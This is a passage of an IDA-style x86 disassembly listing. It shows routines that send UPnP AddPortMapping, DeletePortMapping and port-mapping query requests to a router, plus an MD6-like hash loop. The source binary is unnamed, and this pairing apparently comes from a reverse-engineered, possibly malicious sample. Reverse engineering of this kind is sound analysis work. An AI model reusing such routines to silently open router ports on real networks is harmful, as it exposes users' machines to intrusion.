eax, [ebp+var_104C] push eax ; int push esi ; int push offset aAddportmapping ; "AddPortMapping" push [ebp+arg_4] ; int mov dword ptr [esi+38h], offset aNewleasedurati ; "NewLeaseDuration" push [ebp+Str] ; Str mov dword ptr [esi+3Ch], offset PrefixString ; "0" push 0FFFFFFFFh ; s call sub_9B4C5A lea eax, [ebp+var_4C] push eax push [ebp+var_8] lea eax, [ebp+var_104C] push eax call sub_9B517D lea eax, [ebp+var_4C] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 add esp, 30h test eax, eax jz short loc_9B553E or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch jmp short loc_9B5542 ; --------------------------------------------------------------------------- loc_9B553E: ; CODE XREF: sub_9B542A+F9j and [ebp+var_4], 0 loc_9B5542: ; CODE XREF: sub_9B542A+112j lea eax, [ebp+var_4C] push eax call sub_9B51B9 push esi ; Memory call free mov eax, [ebp+var_4] pop ecx pop ecx pop esi jmp short loc_9B555D ; --------------------------------------------------------------------------- loc_9B555A: ; CODE XREF: sub_9B542A+1Aj ; sub_9B542A+24j ... push 0FFFFFFFEh pop eax loc_9B555D: ; CODE XREF: sub_9B542A+12Ej pop edi pop ebx leave retn sub_9B542A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5561(char *Str, int, int, int) sub_9B5561 proc near ; CODE XREF: sub_9A9199+C6p var_1048 = dword ptr -1048h var_48 = dword ptr -48h var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 1048h call __alloca_probe push ebx mov ebx, [ebp+arg_8] test ebx, ebx push edi mov [ebp+var_4], 1000h jz loc_9B562F mov edi, [ebp+arg_C] test edi, edi jz loc_9B562F push esi push 8 ; SizeOfElements push 4 ; NumOfElements call calloc mov esi, eax lea eax, [ebp+var_4] push eax ; int lea eax, [ebp+var_1048] push eax ; int push esi ; int push offset aDeleteportmapp ; "DeletePortMapping" push [ebp+arg_4] ; int mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost" push [ebp+Str] ; Str mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort" push 0FFFFFFFFh ; s mov [esi+0Ch], ebx mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol" mov [esi+14h], edi call sub_9B4C5A lea eax, [ebp+var_48] push eax push [ebp+var_4] lea eax, [ebp+var_1048] push eax call sub_9B517D lea eax, [ebp+var_48] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 add esp, 38h test eax, eax jz short loc_9B5613 or [ebp+arg_8], 0FFFFFFFFh lea ecx, [ebp+arg_8] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch jmp short loc_9B5617 ; --------------------------------------------------------------------------- loc_9B5613: ; CODE XREF: sub_9B5561+97j and [ebp+arg_8], 0 loc_9B5617: ; CODE XREF: sub_9B5561+B0j lea eax, [ebp+var_48] push eax call sub_9B51B9 push esi ; Memory call free mov eax, [ebp+arg_8] pop ecx pop ecx pop esi jmp short loc_9B5632 ; --------------------------------------------------------------------------- loc_9B562F: ; CODE XREF: sub_9B5561+1Bj ; sub_9B5561+26j push 0FFFFFFFEh pop eax loc_9B5632: ; CODE XREF: sub_9B5561+CCj pop edi pop ebx leave retn sub_9B5561 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5636(char *Str, int, void *Memory, int, int, int, int, int, int, char *Dest, int) sub_9B5636 proc near ; CODE XREF: sub_9A9199+81p var_104C = dword ptr -104Ch var_4C = dword ptr -4Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch Memory = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h Dest = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 104Ch call __alloca_probe or [ebp+var_4], 0FFFFFFFFh push ebx push esi mov esi, [ebp+Memory] xor ebx, ebx cmp esi, ebx mov [ebp+var_8], 1000h jnz short loc_9B5661 push 0FFFFFFFEh pop eax jmp loc_9B5833 ; --------------------------------------------------------------------------- loc_9B5661: ; CODE XREF: sub_9B5636+21j mov eax, [ebp+arg_10] push edi mov [eax], bl mov eax, [ebp+arg_14] push 8 ; SizeOfElements push 2 ; NumOfElements mov [eax], bl call calloc lea ecx, [ebp+var_8] push ecx ; int lea ecx, [ebp+var_104C] push ecx ; int push eax ; int push offset aGetgenericport ; "GetGenericPortMappingEntry" push [ebp+arg_4] ; int mov [ebp+Memory], eax push [ebp+Str] ; Str mov dword ptr [eax], offset aNewportmappi_0 ; "NewPortMappingIndex" push 0FFFFFFFFh ; s mov [eax+4], esi call sub_9B4C5A lea eax, [ebp+var_4C] push eax push [ebp+var_8] lea eax, [ebp+var_104C] push eax call sub_9B517D lea eax, [ebp+var_4C] push offset aNewremotehost ; "NewRemoteHost" push eax ; int call sub_9B51E3 mov esi, strncpy add esp, 38h cmp eax, ebx jz short loc_9B56E1 mov edi, [ebp+Dest] cmp edi, ebx jz short loc_9B56E1 push 40h ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+3Fh], bl loc_9B56E1: ; CODE XREF: sub_9B5636+96j ; sub_9B5636+9Dj lea eax, [ebp+var_4C] push offset aNewexternalpor ; "NewExternalPort" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B570B mov edi, [ebp+arg_C] cmp edi, ebx jz short loc_9B570B push 6 ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+5], bl mov [ebp+var_4], ebx loc_9B570B: ; CODE XREF: sub_9B5636+BDj ; sub_9B5636+C4j lea eax, [ebp+var_4C] push offset aNewprotocol ; "NewProtocol" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B5732 mov edi, [ebp+arg_18] cmp edi, ebx jz short loc_9B5732 push 4 ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+3], bl loc_9B5732: ; CODE XREF: sub_9B5636+E7j ; sub_9B5636+EEj lea eax, [ebp+var_4C] push offset aNewinternalcli ; "NewInternalClient" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B5758 mov edi, [ebp+arg_10] push 10h ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+0Fh], bl mov [ebp+var_4], ebx loc_9B5758: ; CODE XREF: sub_9B5636+10Ej lea eax, [ebp+var_4C] push offset aNewinternalpor ; "NewInternalPort" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B577B mov edi, [ebp+arg_14] push 6 ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+5], bl loc_9B577B: ; CODE XREF: sub_9B5636+134j lea eax, [ebp+var_4C] push offset aNewenabled ; "NewEnabled" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B57A2 mov edi, [ebp+arg_20] cmp edi, ebx jz short loc_9B57A2 push 4 ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+3], bl loc_9B57A2: ; CODE XREF: sub_9B5636+157j ; sub_9B5636+15Ej lea eax, [ebp+var_4C] push offset aNewportmapping ; "NewPortMappingDescription" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B57C9 mov edi, [ebp+arg_1C] cmp edi, ebx jz short loc_9B57C9 push 50h ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+4Fh], bl loc_9B57C9: ; CODE XREF: sub_9B5636+17Ej ; sub_9B5636+185j lea eax, [ebp+var_4C] push offset aNewleasedurati ; "NewLeaseDuration" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx jz short loc_9B57F0 mov edi, [ebp+arg_28] cmp edi, ebx jz short loc_9B57F0 push 10h ; Count push eax ; Source push edi ; Dest call esi ; strncpy add esp, 0Ch mov [edi+0Fh], bl loc_9B57F0: ; CODE XREF: sub_9B5636+1A5j ; sub_9B5636+1ACj lea eax, [ebp+var_4C] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 cmp eax, ebx pop ecx pop ecx pop edi jz short loc_9B581C or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch loc_9B581C: ; CODE XREF: sub_9B5636+1CDj lea eax, [ebp+var_4C] push eax call sub_9B51B9 push [ebp+Memory] ; Memory call free mov eax, [ebp+var_4] pop ecx pop ecx loc_9B5833: ; CODE XREF: sub_9B5636+26j pop esi pop ebx leave retn sub_9B5636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5837(char *Str, int, int, int, char *Dest, int) sub_9B5837 proc near ; CODE XREF: sub_9A932E+F8p var_104C = dword ptr -104Ch var_4C = dword ptr -4Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Dest = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, 104Ch call __alloca_probe or [ebp+var_4], 0FFFFFFFFh cmp [ebp+arg_14], 0 push ebx push edi mov [ebp+var_8], 1000h jz loc_9B5979 cmp [ebp+Dest], 0 jz loc_9B5979 mov ebx, [ebp+arg_8] test ebx, ebx jz loc_9B5979 mov edi, [ebp+arg_C] test edi, edi jz loc_9B5979 push esi push 8 ; SizeOfElements push 4 ; NumOfElements call calloc mov esi, eax lea eax, [ebp+var_8] push eax ; int lea eax, [ebp+var_104C] push eax ; int push esi ; int push offset aGetspecificpor ; "GetSpecificPortMappingEntry" push [ebp+arg_4] ; int mov dword ptr [esi], offset aNewremotehost ; "NewRemoteHost" push [ebp+Str] ; Str mov dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort" push 0FFFFFFFFh ; s mov [esi+0Ch], ebx mov dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol" mov [esi+14h], edi call sub_9B4C5A lea eax, [ebp+var_4C] push eax push [ebp+var_8] lea eax, [ebp+var_104C] push eax call sub_9B517D lea eax, [ebp+var_4C] push offset aNewinternalcli ; "NewInternalClient" push eax ; int call sub_9B51E3 mov edi, strncpy add esp, 38h test eax, eax jz short loc_9B5904 mov ebx, [ebp+Dest] push 10h ; Count push eax ; Source push ebx ; Dest call edi ; strncpy add esp, 0Ch and [ebp+var_4], 0 mov byte ptr [ebx+0Fh], 0 jmp short loc_9B590A ; --------------------------------------------------------------------------- loc_9B5904: ; CODE XREF: sub_9B5837+B5j mov eax, [ebp+Dest] mov byte ptr [eax], 0 loc_9B590A: ; CODE XREF: sub_9B5837+CBj lea eax, [ebp+var_4C] push offset aNewinternalpor ; "NewInternalPort" push eax ; int call sub_9B51E3 test eax, eax pop ecx pop ecx jz short loc_9B5930 mov ebx, [ebp+arg_14] push 6 ; Count push eax ; Source push ebx ; Dest call edi ; strncpy add esp, 0Ch mov byte ptr [ebx+5], 0 jmp short loc_9B5936 ; --------------------------------------------------------------------------- loc_9B5930: ; CODE XREF: sub_9B5837+E5j mov eax, [ebp+arg_14] mov byte ptr [eax], 0 loc_9B5936: ; CODE XREF: sub_9B5837+F7j lea eax, [ebp+var_4C] push offset aErrorcode ; "errorCode" push eax ; int call sub_9B51E3 test eax, eax pop ecx pop ecx jz short loc_9B5961 or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx push offset aD ; "%d" push eax ; Src call sscanf add esp, 0Ch loc_9B5961: ; CODE XREF: sub_9B5837+111j lea eax, [ebp+var_4C] push eax call sub_9B51B9 push esi ; Memory call free mov eax, [ebp+var_4] pop ecx pop ecx pop esi jmp short loc_9B597C ; --------------------------------------------------------------------------- loc_9B5979: ; CODE XREF: sub_9B5837+1Ej ; sub_9B5837+28j ... push 0FFFFFFFEh pop eax loc_9B597C: ; CODE XREF: sub_9B5837+140j pop edi pop ebx leave retn sub_9B5837 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B5980(int, int, void *Dst) sub_9B5980 proc near ; CODE XREF: sub_9AE331+3Ap ; sub_9AE331+A7p var_3C98 = dword ptr -3C98h Src = byte ptr -3C90h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Dst = dword ptr 10h push ebp mov ebp, esp mov eax, 3C98h call __alloca_probe lea eax, [ebp+var_3C98] push 200h ; int push eax ; Dst call sub_9B6665 mov eax, [ebp+arg_4] push 8 pop ecx mul ecx push edx push eax push [ebp+arg_0] lea eax, [ebp+var_3C98] push eax call sub_9B6942 lea eax, [ebp+var_3C98] push 0 ; Dst push eax ; int call sub_9B6BB5 push 40h ; Size lea eax, [ebp+Src] push eax ; Src push [ebp+Dst] ; Dst call memcpy add esp, 2Ch leave retn sub_9B5980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B59DB proc near ; CODE XREF: sub_9B6193+63p var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 54h mov ecx, [ebp+arg_4] shl ecx, 4 test ecx, ecx mov [ebp+var_C], 89ABCDEFh mov [ebp+var_8], 1234567h jle locret_9B6191 mov eax, [ebp+arg_0] add eax, 1D0h dec ecx push ebx shr ecx, 4 inc ecx push esi mov [ebp+var_4], ecx push edi loc_9B5A10: ; CODE XREF: sub_9B59DB+7ADj mov edi, [eax+50h] mov ebx, [eax+68h] mov esi, [eax+54h] mov edx, [eax-11Ch] and edx, [eax+4] and ebx, edi mov ecx, [eax-120h] and ecx, [eax] mov edi, [eax+6Ch] xor ecx, ebx xor ecx, [eax-1D0h] and edi, esi xor edx, edi xor edx, [eax-1CCh] mov esi, [eax+70h] xor edx, [eax+74h] xor ecx, esi xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov edi, ecx mov ebx, edx shrd edi, ebx, 0Ah xor ecx, edi shr ebx, 0Ah xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 0Bh xor ebx, edx mov edx, [eax-114h] and edx, [eax+0Ch] shl edi, 0Bh xor edi, ecx mov ecx, [eax-118h] and ecx, [eax+8] mov [eax+0FCh], ebx mov ebx, [eax+58h] and esi, ebx mov ebx, [eax+74h] mov [eax+0F8h], edi mov edi, [eax+5Ch] and ebx, edi xor edx, ebx xor edx, [eax-1C4h] xor ecx, esi xor ecx, [eax-1C8h] mov esi, [eax+7Ch] xor ecx, [eax+78h] xor edx, esi xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov edi, ecx mov ebx, edx shrd edi, ebx, 5 xor ecx, edi shr ebx, 5 xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 18h shl edi, 18h xor edi, ecx xor ebx, edx mov edx, [eax-10Ch] and edx, [eax+14h] lea ecx, [eax+80h] mov [ebp+arg_4], ecx mov ecx, [eax-110h] and ecx, [eax+10h] mov [eax+100h], edi mov edi, [eax+60h] and edi, [eax+78h] mov [eax+104h], ebx mov ebx, [eax+64h] and ebx, esi mov esi, [ebp+arg_4] xor ecx, edi xor ecx, [eax-1C0h] mov edi, [esi] xor edx, ebx xor edx, [eax-1BCh] mov esi, [esi+4] xor ecx, edi xor ecx, [ebp+var_C] xor edx, esi xor edx, [ebp+var_8] mov [ebp+var_30], esi mov esi, ecx mov ebx, edx shrd esi, ebx, 0Dh xor ecx, esi shr ebx, 0Dh xor edx, ebx mov esi, ecx mov ebx, edx shld ebx, esi, 9 xor ebx, edx mov edx, [eax-104h] and edx, [eax+1Ch] shl esi, 9 xor esi, ecx mov ecx, [eax-108h] and ecx, [eax+18h] mov [eax+108h], esi mov esi, [eax+68h] and esi, edi mov edi, [eax+6Ch] and edi, [ebp+var_30] xor ecx, esi xor ecx, [eax-1B8h] mov esi, [eax+88h] xor edx, edi xor edx, [eax-1B4h] xor ecx, esi xor edx, [eax+8Ch] xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov [eax+10Ch], ebx mov edi, ecx mov ebx, edx shrd edi, ebx, 0Ah xor ecx, edi shr ebx, 0Ah xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 10h shl edi, 10h xor edi, ecx mov ecx, [eax-100h] and ecx, [eax+20h] xor ebx, edx mov edx, [eax-0FCh] and edx, [eax+24h] mov [eax+110h], edi mov edi, [eax+70h] and edi, esi mov esi, [eax+74h] and esi, [eax+8Ch] xor ecx, edi xor ecx, [eax-1B0h] xor edx, esi xor edx, [eax-1ACh] mov esi, [eax+90h] xor edx, [eax+94h] xor ecx, esi xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov [eax+114h], ebx mov edi, ecx mov ebx, edx shrd edi, ebx, 0Bh shr ebx, 0Bh xor ecx, edi xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 0Fh shl edi, 0Fh xor edi, ecx xor ebx, edx mov [eax+118h], edi mov edx, [eax-0F4h] and edx, [eax+2Ch] mov edi, [eax+94h] and edi, [eax+7Ch] mov ecx, [eax-0F8h] and ecx, [eax+28h] and esi, [eax+78h] xor edx, edi xor edx, [eax-1A4h] xor ecx, esi xor ecx, [eax-1A8h] xor edx, [eax+9Ch] mov esi, [eax+98h] xor edx, [ebp+var_8] xor ecx, esi xor ecx, [ebp+var_C] mov [eax+11Ch], ebx mov edi, ecx mov ebx, edx shrd edi, ebx, 0Ch xor ecx, edi shr ebx, 0Ch xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 9 xor ebx, edx mov edx, [eax-0ECh] and edx, [eax+34h] shl edi, 9 xor edi, ecx mov ecx, [eax-0F0h] and ecx, [eax+30h] mov [eax+124h], ebx mov ebx, [ebp+arg_4] mov [eax+120h], edi mov edi, esi and edi, [ebx] mov ebx, [eax+9Ch] and ebx, [ebp+var_30] xor ecx, edi xor ecx, [eax-1A0h] xor edx, ebx xor edx, [eax-19Ch] xor ecx, [eax+0A0h] xor edx, [eax+0A4h] xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov edi, ecx mov ebx, edx shrd edi, ebx, 2 xor ecx, edi shr ebx, 2 xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 1Bh xor ebx, edx mov edx, [eax-0E4h] and edx, [eax+3Ch] shl edi, 1Bh xor edi, ecx mov ecx, [eax-0E8h] and ecx, [eax+38h] mov [eax+128h], edi mov edi, [eax+0A0h] and edi, [eax+88h] mov [eax+12Ch], ebx mov ebx, [eax+0A4h] and ebx, [eax+8Ch] xor ecx, edi xor ecx, [eax-198h] xor edx, ebx xor edx, [eax-194h] xor ecx, [eax+0A8h] xor edx, [eax+0ACh] xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov edi, ecx mov ebx, edx shrd edi, ebx, 7 xor ecx, edi shr ebx, 7 xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 0Fh xor ebx, edx mov edx, [eax-0DCh] and edx, [eax+44h] shl edi, 0Fh xor edi, ecx mov ecx, [eax+0B0h] mov [ebp+var_14], ecx mov ecx, [eax+0B4h] mov [ebp+var_10], ecx mov ecx, [eax-0E0h] and ecx, [eax+40h] mov [eax+130h], edi mov edi, [eax+0A8h] and edi, [eax+90h] mov [eax+134h], ebx mov ebx, [eax+0ACh] and ebx, [eax+94h] xor ecx, edi xor ecx, [eax-190h] xor edx, ebx xor edx, [eax-18Ch] xor ecx, [ebp+var_14] xor edx, [ebp+var_10] xor ecx, [ebp+var_C] xor edx, [ebp+var_8] mov edi, ecx mov ebx, edx shrd edi, ebx, 0Eh xor ecx, edi shr ebx, 0Eh xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 6 shl edi, 6 xor edi, ecx mov ecx, [eax-0D8h] and ecx, [eax+48h] xor ebx, edx mov edx, [eax-0D4h] and edx, [eax+4Ch] mov [eax+138h], edi mov edi, [ebp+var_14] and edi, esi mov esi, [ebp+var_10] and esi, [eax+9Ch] xor ecx, edi xor ecx, [eax-188h] xor edx, esi xor edx, [eax-184h] xor ecx, [eax+0B8h] xor edx, [eax+0BCh] xor ecx, [ebp+var_C] mov esi, [ebp+var_8] mov [eax+13Ch], ebx xor edx, esi mov edi, ecx mov ebx, edx shrd edi, ebx, 0Fh xor ecx, edi shr ebx, 0Fh xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 2 shl edi, 2 xor edi, ecx mov ecx, [eax-0D0h] and ecx, [eax+50h] xor ebx, edx mov edx, [eax-0CCh] and edx, [eax+54h] mov [eax+140h], edi mov edi, [eax+0B8h] mov [eax+144h], ebx and edi, [eax+0A0h] mov ebx, [eax+0BCh] and ebx, [eax+0A4h] xor ecx, edi xor ecx, [eax-180h] xor edx, ebx xor edx, [eax-17Ch] xor ecx, [eax+0C0h] xor edx, [eax+0C4h] xor ecx, [ebp+var_C] xor edx, esi mov edi, ecx mov ebx, edx shrd edi, ebx, 7 xor ecx, edi shr ebx, 7 xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 1Dh xor ebx, edx mov edx, [eax-0C4h] and edx, [eax+5Ch] shl edi, 1Dh xor edi, ecx mov ecx, [eax-0C8h] and ecx, [eax+58h] mov [eax+148h], edi mov edi, [eax+0C0h] and edi, [eax+0A8h] mov [eax+14Ch], ebx mov ebx, [eax+0C4h] and ebx, [eax+0ACh] xor ecx, edi xor ecx, [eax-178h] xor edx, ebx xor edx, [eax-174h] xor ecx, [eax+0C8h] xor edx, [eax+0CCh] xor ecx, [ebp+var_C] xor edx, esi mov edi, ecx mov ebx, edx shrd edi, ebx, 0Dh xor ecx, edi shr ebx, 0Dh xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 8 shl edi, 8 xor edi, ecx mov ecx, [eax+0D0h] mov [ebp+var_1C], ecx mov ecx, [eax+0D4h] mov [eax+150h], edi mov edi, [ebp+var_14] and edi, [eax+0C8h] xor ebx, edx mov edx, [eax-0BCh] and edx, [eax+64h] mov [ebp+var_18], ecx mov ecx, [eax-0C0h] and ecx, [eax+60h] mov [ebp+var_3C], edi mov edi, [ebp+var_10] and edi, [eax+0CCh] xor ecx, [ebp+var_3C] xor edx, edi xor ecx, [eax-170h] xor edx, [eax-16Ch] xor ecx, [ebp+var_1C] xor edx, [ebp+var_18] xor ecx, [ebp+var_C] mov [eax+154h], ebx xor edx, esi mov edi, ecx mov ebx, edx shrd edi, ebx, 0Bh shr ebx, 0Bh xor ecx, edi xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 0Fh xor ebx, edx mov edx, [eax-0B4h] and edx, [eax+6Ch] shl edi, 0Fh xor edi, ecx mov ecx, [eax+0D8h] mov [ebp+var_24], ecx mov ecx, [eax+0DCh] mov [eax+158h], edi mov edi, [eax+0B8h] mov [eax+15Ch], ebx mov ebx, [ebp+var_1C] and ebx, edi mov edi, [ebp+var_18] mov [ebp+var_20], ecx mov ecx, [eax-0B8h] and ecx, [eax+68h] mov [ebp+var_44], ebx xor ecx, [ebp+var_44] mov ebx, [eax+0BCh] xor ecx, [eax-168h] and edi, ebx xor ecx, [ebp+var_24] xor edx, edi xor edx, [eax-164h] xor ecx, [ebp+var_C] xor edx, [ebp+var_20] mov edi, ecx xor edx, esi mov ebx, edx shrd edi, ebx, 7 xor ecx, edi shr ebx, 7 xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 5 xor ebx, edx mov edx, [eax-0ACh] and edx, [eax+74h] shl edi, 5 xor edi, ecx mov ecx, [eax+0E0h] mov [eax+160h], edi mov edi, [eax+0C0h] mov [eax+164h], ebx mov ebx, [ebp+var_24] and ebx, edi mov edi, [ebp+var_20] mov [ebp+var_2C], ecx mov ecx, [eax+0E4h] mov [ebp+var_28], ecx mov ecx, [eax-0B0h] and ecx, [eax+70h] mov [ebp+var_4C], ebx xor ecx, [ebp+var_4C] mov ebx, [eax+0C4h] xor ecx, [eax-160h] and edi, ebx xor ecx, [ebp+var_2C] xor edx, edi xor edx, [eax-15Ch] xor ecx, [ebp+var_C] xor edx, [ebp+var_28] mov edi, ecx xor edx, esi mov ebx, edx shrd edi, ebx, 6 shr ebx, 6 xor ecx, edi xor edx, ebx mov edi, ecx mov ebx, edx shld ebx, edi, 1Fh shl edi, 1Fh xor edi, ecx xor ebx, edx mov ecx, [eax-0A8h] and ecx, [eax+78h] mov edx, [eax-0A4h] and edx, [eax+7Ch] mov [eax+168h], edi mov edi, [eax+0C8h] mov [eax+16Ch], ebx mov ebx, [ebp+var_2C] and ebx, edi mov edi, [ebp+var_28] mov [ebp+var_54], ebx mov ebx, [eax+0CCh] xor ecx, [ebp+var_54] and edi, ebx xor ecx, [eax-158h] xor edx, edi xor edx, [eax-154h] xor ecx, [eax+0E8h] xor edx, [eax+0ECh] xor ecx, [ebp+var_C] xor edx, esi mov ebx, edx mov edi, ecx shrd edi, ebx, 0Ch xor ecx, edi shr ebx, 0Ch xor edx, ebx mov ebx, edx mov edi, ecx shld ebx, edi, 9 xor ebx, edx shl edi, 9 xor edi, ecx mov [eax+170h], edi mov [eax+174h], ebx mov eax, [ebp+var_C] and eax, 2425CFA0h mov edx, esi shr edx, 1Fh xor eax, edx mov edx, [ebp+var_C] mov ecx, esi shld esi, edx, 1 and ecx, 7311C281h xor edi, edi shl edx, 1 xor ecx, edi xor eax, edx xor ecx, esi dec [ebp+var_4] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_8], ecx jnz loc_9B5A10 pop edi pop esi pop ebx locret_9B6191: ; CODE XREF: sub_9B59DB+1Cj leave retn sub_9B59DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B6193(int, void *Src, int, void *Val) sub_9B6193 proc near ; CODE XREF: sub_9B6363+123p arg_0 = dword ptr 8 Src = dword ptr 0Ch arg_8 = dword ptr 10h Val = dword ptr 14h push ebp mov ebp, esp cmp [ebp+Src], 0 push ebx push edi mov edi, [ebp+Val] mov ebx, edi jnz short loc_9B61A7 push 9 jmp short loc_9B61AF ; --------------------------------------------------------------------------- loc_9B61A7: ; CODE XREF: sub_9B6193+Ej cmp [ebp+arg_0], 0 jnz short loc_9B61B5 push 0Fh loc_9B61AF: ; CODE XREF: sub_9B6193+12j pop eax jmp loc_9B623A ; --------------------------------------------------------------------------- loc_9B61B5: ; CODE XREF: sub_9B6193+18j push esi mov esi, [ebp+arg_8] test esi, esi jl short loc_9B6236 cmp esi, 0FFh jg short loc_9B6236 test edi, edi jnz short loc_9B61E6 mov eax, esi shl eax, 4 add eax, 59h push 8 ; SizeOfElements push eax ; NumOfElements call calloc mov edi, eax test edi, edi pop ecx pop ecx jnz short loc_9B61E6 push 12h jmp short loc_9B6238 ; --------------------------------------------------------------------------- loc_9B61E6: ; CODE XREF: sub_9B6193+34j ; sub_9B6193+4Dj push 2C8h ; Size push [ebp+Src] ; Src push edi ; Dst call memcpy push esi push edi call sub_9B59DB shl esi, 7 push 80h ; Size lea eax, [esi+edi+248h] push eax ; Src push [ebp+arg_0] ; Dst call memcpy add esp, 20h test ebx, ebx jnz short loc_9B6232 add esi, 2C8h push esi ; Size push ebx ; Val push edi ; Dst call memset push edi ; Memory call free add esp, 10h loc_9B6232: ; CODE XREF: sub_9B6193+85j xor eax, eax jmp short loc_9B6239 ; --------------------------------------------------------------------------- loc_9B6236: ; CODE XREF: sub_9B6193+28j ; sub_9B6193+30j push 11h loc_9B6238: ; CODE XREF: sub_9B6193+51j pop eax loc_9B6239: ; CODE XREF: sub_9B6193+A1j pop esi loc_9B623A: ; CODE XREF: sub_9B6193+1Dj pop edi pop ebx pop ebp retn sub_9B6193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B623E proc near ; CODE XREF: sub_9B62B8+79p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] cdq shld edx, eax, 8 shl eax, 8 mov ecx, eax mov eax, [ebp+arg_4] push esi mov esi, edx cdq or ecx, eax mov eax, [ebp+arg_8] or esi, edx shld esi, ecx, 4 shl ecx, 4 cdq or ecx, eax mov eax, [ebp+arg_C] or esi, edx shld esi, ecx, 10h shl ecx, 10h cdq or ecx, eax mov eax, [ebp+arg_10] or esi, edx shld esi, ecx, 8 cdq shl ecx, 8 or ecx, eax mov eax, [ebp+arg_14] or esi, edx shld esi, ecx, 0Ch cdq shl ecx, 0Ch or ecx, eax or esi, edx mov edx, esi mov eax, ecx pop esi pop ebp retn sub_9B623E endp ; =============== S U B R O U T I N E ======================================= sub_9B629C proc near ; CODE XREF: sub_9B62B8+4Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cdq mov ecx, eax mov eax, [esp+arg_4] cdq push esi xor esi, esi shl ecx, 18h or esi, eax or ecx, edx mov eax, esi mov edx, ecx pop esi retn 